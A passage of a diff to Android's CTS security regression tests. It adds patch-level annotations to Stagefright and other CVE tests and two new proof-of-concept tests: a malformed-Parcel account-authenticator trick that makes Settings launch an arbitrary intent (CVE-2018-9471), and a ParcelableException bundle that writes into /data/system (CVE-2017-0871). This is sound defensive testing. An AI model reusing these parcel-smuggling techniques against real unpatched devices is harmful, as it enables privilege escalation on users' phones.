+                if(recorderPrepare){
+                    int test = mediaRecorder.getMaxAmplitude();
+                    mediaRecorder.reset();
+                    mediaRecorder.release();
+                    if(test != 0){
+                        fail("MediaRecorderInfoLeakTest failed");
+                    }
+                } else {
+                    fail("Media Recorder prepare fail");
+                }
+            }
+        } catch (Exception e) {
+            fail("Media Recorder Exception" + e.getMessage());
+        } finally {
+            if (mediaRecorder != null){
+                mediaRecorder.release();
+            }
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 3e36fa8..efc050f 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -39,6 +39,7 @@
      * larger than 2. Ensure that we do not attempt to read colors from beyond the end of the
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
+    @SecurityTest(minPatchLevel = "2017-06")
     public void test_android_bug_33897722() {
         // The image has a 10 x 10 frame on top of a transparent background. Only test the
         // 10 x 10 frame, since the original bug would never have used uninitialized memory
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
new file mode 100644
index 0000000..e7ab8eb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.InstrumentationRegistry;
+
+import android.content.pm.ActivityInfo;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+
+import android.provider.Settings;
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.SystemClock;
+
+import android.util.Log;
+import android.annotation.Nullable;
+import static java.lang.Thread.sleep;
+import static org.junit.Assert.assertTrue;
+
+@SecurityTest
+public class NanoAppBundleTest extends AndroidTestCase {
+
+    private static final String TAG = "NanoAppBundleTest";
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    private ServiceConnection mServiceConnection =
+        new ServiceConnection() {
+
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder binder) {
+                Log.i(TAG, "Authenticator service " + name + " is connected");
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                Log.i(TAG, "Authenticator service " + name + "died abruptly");
+            }
+        };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+        mContext.startService(serviceIntent);
+        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mContext != null) {
+            Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+            mContext.stopService(serviceIntent);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * b/113527124
+     */
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPoc_cve_2018_9471() throws Exception {
+
+        try {
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            new NanoAppBundleTest.Trigger(mContext).anyAction();
+            //  against vulnerable bits, the failure will get caught right after trigger.
+            //  against patched bits, 1 minute wait to snap the test
+            Thread.sleep(60_000);
+        } catch(InterruptedException ignored) {
+            Log.i(TAG, "swallow interrupted exception");
+        }
+    }
+
+    public static class Trigger {
+        private static final String TAG = "Trigger";
+        private Context mContext;
+
+        public Trigger(Context context) {
+            mContext = context;
+        }
+
+        private void trigger() {
+            Log.i(TAG, "start...");
+
+            String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
+            String cls = isCar(mContext)
+                    ? "com.android.car.settings.accounts.AddAccountActivity"
+                    : "com.android.settings.accounts.AddAccountSettings";
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(pkg, cls));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            String authTypes[] = { SECURITY_CTS_PACKAGE_NAME };
+            intent.putExtra("account_types", authTypes);
+
+            ActivityInfo info = intent.resolveActivityInfo(
+                    mContext.getPackageManager(), intent.getFlags());
+            // Will throw NullPointerException if activity not found.
+            if (info != null && info.exported) {
+                mContext.startActivity(intent);
+            } else {
+                Log.i(TAG, "Activity is not exported");
+            }
+            Log.i(TAG, "finsihed.");
+        }
+
+        public void anyAction() {
+            Log.i(TAG, "Arbitrary action starts...");
+
+            Intent intent = new Intent();
+
+            intent.setComponent(new ComponentName(
+                "android.security.cts",
+                "android.security.cts.NanoAppBundleTest$FailActivity"));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            Authenticator.setIntent(intent);
+
+            trigger();
+
+            Log.i(TAG, "Arbitrary action finished.");
+        }
+    }
+
+    //  customized activity
+    public static class FailActivity extends Activity {
+
+        @Override
+        protected void onCreate(Bundle onSavedInstanceState) {
+            super.onCreate(onSavedInstanceState);
+
+            fail("Arbitrary intent executed");
+        }
+    }
+
+    //
+    //  Authenticator class
+    //
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private static final String TAG = "Authenticator";
+
+        //  mAddAccountDone : flag set to check if the buggy part is got run
+        private boolean mAddAccountDone;
+        public boolean isAddAccountDone() {
+            return mAddAccountDone;
+        }
+        public void setAddAccountDone(boolean isDone) {
+            mAddAccountDone = isDone;
+        }
+
+        //  mAuthContext
+        private static Context mAuthContext;
+        public static Context getAuthContext() {
+            return mAuthContext;
+        }
+
+        //  mIntent : set from Trigger or setPIN
+        private static Intent mIntent;
+        public static Intent getIntent() {
+            return mIntent;
+        }
+        public static void setIntent(Intent intent) {
+            mIntent = intent;
+        }
+
+        //  Authenticator ctor
+        public Authenticator(Context context) {
+            super(context);
+            setAddAccountDone(false);
+            Authenticator.mAuthContext = context;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return null;
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                     String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                   Account account,
+                                   String authTokenType,
+                                   Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                                 String accountType,
+                                 String authTokenType,
+                                 String[] requiredFeatures,
+                                 Bundle options) {
+            try {
+                Log.i(TAG, String.format("addAccount start...accountType = %s, authTokenType = %s",
+                                    accountType, authTokenType));
+                Bundle bundle = new Bundle();
+                Parcel parcel = GenMalformedParcel.nanoAppFilterParcel(mIntent);
+                bundle.readFromParcel(parcel);
+                parcel.recycle();
+                setAddAccountDone(true);
+                Log.i(TAG, "addAccount finished");
+                return bundle;
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                         Account account,
+                                         Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                        Account account,
+                                        String authTokenType,
+                                        Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                  Account account,
+                                  String[] features) {
+            return null;
+        }
+    }
+
+    //
+    //  AuthenticatorService
+    //
+    public static class AuthenticatorService extends Service {
+
+        private static final String TAG = "AuthenticatorService";
+
+        private Authenticator mAuthenticator;
+        public Authenticator getAuthenticator() {
+            return mAuthenticator;
+        }
+
+        private IBinder mBinder;
+        public IBinder getServiceBinder() {
+            return mBinder;
+        }
+
+        public AuthenticatorService() {
+        }
+
+        @Override
+        public void onCreate() {
+            super.onCreate();
+            //  critical:here have to pass the service context to authenticator, not mContext
+            Log.i(TAG, "creating...");
+            mAuthenticator = new Authenticator(this);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            try {
+                Log.i(TAG, "Bind starting...");
+                IBinder binder = mAuthenticator.getIBinder();
+                mBinder = binder;
+                Log.i(TAG, "Bind finished.");
+                return binder;
+            } catch (Exception e) {
+                Log.i(TAG, "Bind exception");
+                e.printStackTrace();
+            }
+            return null;
+        }
+    }
+
+    //
+    //  GenMalformedParcel
+    //
+    public static class GenMalformedParcel {
+
+        public static Parcel nanoAppFilterParcel(Intent intent) {
+            Parcel data = Parcel.obtain();
+            int bundleLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            data.writeInt(0x4C444E42);
+            int bundleStartPos = data.dataPosition();
+            data.writeInt(3);
+
+            data.writeString(SECURITY_CTS_PACKAGE_NAME);
+            data.writeInt(4);
+            data.writeString("android.hardware.location.NanoAppFilter");
+            data.writeLong(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(13);
+
+            int byteArrayLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            int byteArrayStartPos = data.dataPosition();
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeString(AccountManager.KEY_INTENT);
+            data.writeInt(4);
+            data.writeString("android.content.Intent");
+            intent.writeToParcel(data, 0);
+            int byteArrayEndPos = data.dataPosition();
+            data.setDataPosition(byteArrayLenPos);
+            int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+            data.writeInt(byteArrayLen);
+            data.setDataPosition(byteArrayEndPos);
+
+            int bundleEndPos = data.dataPosition();
+            data.setDataPosition(bundleLenPos);
+            int bundleLen = bundleEndPos - bundleStartPos;
+            data.writeInt(bundleLen);
+            data.setDataPosition(0);
+
+            return data;
+        }
+    }
+
+    private static boolean isCar(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index 77d75d8..2e101a5 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -107,7 +107,7 @@
      */
     private static native boolean doPerfEventTest2();
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testCVE20141710() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-1710", doCVE20141710Test());
     }
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index da45f0a..83b3686 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -114,7 +114,10 @@
 
             // Test package to verify upgrades to privileged applications
             "com.android.cts.priv.ctsshim",
-            "com.android.cts.ctsshim"
+            "com.android.cts.ctsshim",
+
+            // Oom Catcher package to prevent tests from ooming device.
+            "com.android.cts.oomcatcher"
 
             ));
 
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
new file mode 100644
index 0000000..a024e50
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import android.security.cts.R;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.BaseBundle;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.Log;
+
+import java.io.File;
+import java.lang.reflect.Field;
+
+@SecurityTest
+public class ParcelableExceptionTest extends AndroidTestCase {
+
+    @SecurityTest(minPatchLevel = "2017-12")
+    public void test_CVE_2017_0871() throws Exception {
+        String filePath = "/data/system/" + System.currentTimeMillis();
+        File file = new File(filePath);
+        Bundle bundle = createBundle("java.io.FileOutputStream", filePath);
+        sendBundleToSystem(bundle);
+        assertFalse(file.exists());
+    }
+
+    private Bundle createBundle(String className, String constructorArgument) throws Exception {
+        Parcel data = Parcel.obtain();
+        data.writeInt(1);
+        data.writeString("a");
+        data.writeInt(4);
+        data.writeString("android.os.ParcelableException");
+        data.writeString(className);
+        data.writeString(constructorArgument);
+
+        Bundle bundle = new Bundle();
+        Field parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+        parcelledDataField.setAccessible(true);
+        parcelledDataField.set(bundle, data);
+        return bundle;
+    }
+
+    private void sendBundleToSystem(Bundle theBundle) throws Exception {
+        Context.class
+                .getMethod("sendBroadcast",
+                        Intent.class,
+                        String.class,
+                        Bundle.class)
+                .invoke(getContext(), new Intent("DUMMY_BROADCAST"), null, theBundle);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 9755efa..6f7e8da 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -22,6 +22,7 @@
 
 @SecurityTest
 public class PutOverflowTest extends AndroidTestCase {
+    @SecurityTest(minPatchLevel = "2015-02")
     public void testCrash() throws Exception {
         try {
             Class<?> keystoreClass = Class.forName("android.security.KeyStore");
diff --git a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
index 5002a72..845877b 100644
--- a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
+++ b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
@@ -64,6 +64,7 @@
   public static String output = "";
   private final String pattern = ".*PLAIN TEXT EXPOSED.*";
 
+  @SecurityTest(minPatchLevel = "2018-05")
   public void test_android_CVE_2017_13309() {
 
     context = getInstrumentation().getContext();
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 23253df..16f01eb 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -29,6 +29,11 @@
 @SecurityTest
 public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
 
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testAndroid_cve_2017_13318() {
+        doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
+    }
+
     @SecurityTest
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
similarity index 80%
rename from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
rename to tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
index 5ee3aeb..8289784 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2016 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,16 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+package android.security.cts;
 
 import android.app.Activity;
 import android.os.Bundle;
 
-public class AutoClosingActivity extends Activity {
+import android.security.cts.R;
+
+public class SkiaJpegDecodingActivity extends Activity {
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-
-        finish();
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
new file mode 100644
index 0000000..55525e0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.test.ActivityInstrumentationTestCase2;
+
+public class SkiaJpegDecodingTest extends
+        ActivityInstrumentationTestCase2<SkiaJpegDecodingActivity> {
+    private Activity mActivity;
+
+    public SkiaJpegDecodingTest() {
+        super(SkiaJpegDecodingActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        assertNotNull("Failed to get the activity instance", mActivity);
+    }
+
+    public void testLibskiaOverFlowJpegProcessing() {
+      // When this is run on a vulnerable build the app will have a native crash
+      // which will fail the test. When it is run on a non-vulnerable build we may
+      // get a java-level exception, indicating that the error was handled properly
+      mActivity.runOnUiThread(new Runnable() {
+          public void run() {
+            try {
+              mActivity.setContentView(R.layout.activity_skiajpegdecoding);
+            } catch (android.view.InflateException e) {
+              return;
+            }
+          }
+        });
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mActivity != null) {
+            mActivity.finish();
+        }
+        super.tearDown();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index e53b85f..09588a2 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,8 +22,7 @@
  */
 package android.security.cts;
 
-import android.test.AndroidTestCase;
-import android.util.Log;
+import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
@@ -42,8 +41,8 @@
 import android.os.Looper;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.os.Parcel;
 import android.platform.test.annotations.SecurityTest;
-import android.test.InstrumentationTestCase;
 import android.util.Log;
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
@@ -59,6 +58,12 @@
 import java.io.InputStream;
 import java.net.URL;
 import java.nio.ByteBuffer;
+import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.io.InputStream;
+import java.net.Socket;
+import java.net.ServerSocket;
+import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
@@ -70,21 +75,38 @@
 import org.json.JSONObject;
 
 import android.security.cts.R;
+import android.media.TimedText;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.rules.TestName;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
 
 /**
  * Verify that the device is not vulnerable to any known Stagefright
  * vulnerabilities.
  */
 @AppModeFull
-@SecurityTest
-public class StagefrightTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class StagefrightTest {
     static final String TAG = "StagefrightTest";
+    private Instrumentation mInstrumentation;
 
     private final long TIMEOUT_NS = 10000000000L;  // 10 seconds.
     private final static long CHECK_INTERVAL = 50;
 
-    public StagefrightTest() {
+    @Rule public TestName name = new TestName();
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
     }
 
     /***********************************************************
@@ -92,170 +114,213 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2019-04")
+    public void testStagefright_cve_2019_2244() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2019_2244, "video/mpeg2", 320, 420);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_36725407() throws Exception {
         doStagefrightTest(R.raw.bug_36725407);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3829, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_cve_2017_0643() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0643, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_cve_2017_0728() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0728, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testStagefright_bug_62187433() throws Exception {
         doStagefrightTest(R.raw.bug_62187433);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefrightANR_bug_62673844() throws Exception {
         doStagefrightTestANR(R.raw.bug_62673844);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_37079296() throws Exception {
         doStagefrightTest(R.raw.bug_37079296);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38342499() throws Exception {
         doStagefrightTest(R.raw.bug_38342499);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_bug_22771132() throws Exception {
         doStagefrightTest(R.raw.bug_22771132);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_bug_21443020() throws Exception {
         doStagefrightTest(R.raw.bug_21443020_webm);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_bug_34360591() throws Exception {
         doStagefrightTest(R.raw.bug_34360591);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35763994() throws Exception {
         doStagefrightTest(R.raw.bug_35763994, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_33137046() throws Exception {
         doStagefrightTest(R.raw.bug_33137046);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2016_2507() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2507, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_31647370() throws Exception {
         doStagefrightTest(R.raw.bug_31647370);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testStagefright_bug_32577290() throws Exception {
         doStagefrightTest(R.raw.bug_32577290);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_1() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_1);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_2() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_2);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_3() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_3);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_4() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_4);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1539() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1539);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3824() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3824);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3826() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3826);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3827() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3827);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3828() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3828);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3829);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3836() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3836);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3864() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3864_b23034759() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864_b23034759);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6598() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6598);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6766() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6766);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testStagefright_bug_26366256() throws Exception {
         doStagefrightTest(R.raw.bug_26366256);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2429_b_27211885,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_34031018() throws Exception {
         doStagefrightTest(R.raw.bug_34031018_32bit, new CrashUtils.Config().checkMinAddress(false));
         doStagefrightTest(R.raw.bug_34031018_64bit, new CrashUtils.Config().checkMinAddress(false));
@@ -266,33 +331,39 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_bug_65123471() throws Exception {
         doStagefrightTest(R.raw.bug_65123471);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_bug_72165027() throws Exception {
         doStagefrightTest(R.raw.bug_72165027);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-06")
     public void testStagefright_bug_65483665() throws Exception {
         doStagefrightTest(R.raw.bug_65483665);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0852_b_62815506,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
     public void testStagefright_cve_2017_13229() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13229);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2017_0763() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0763);
     }
@@ -302,436 +373,585 @@
      before any existing test methods
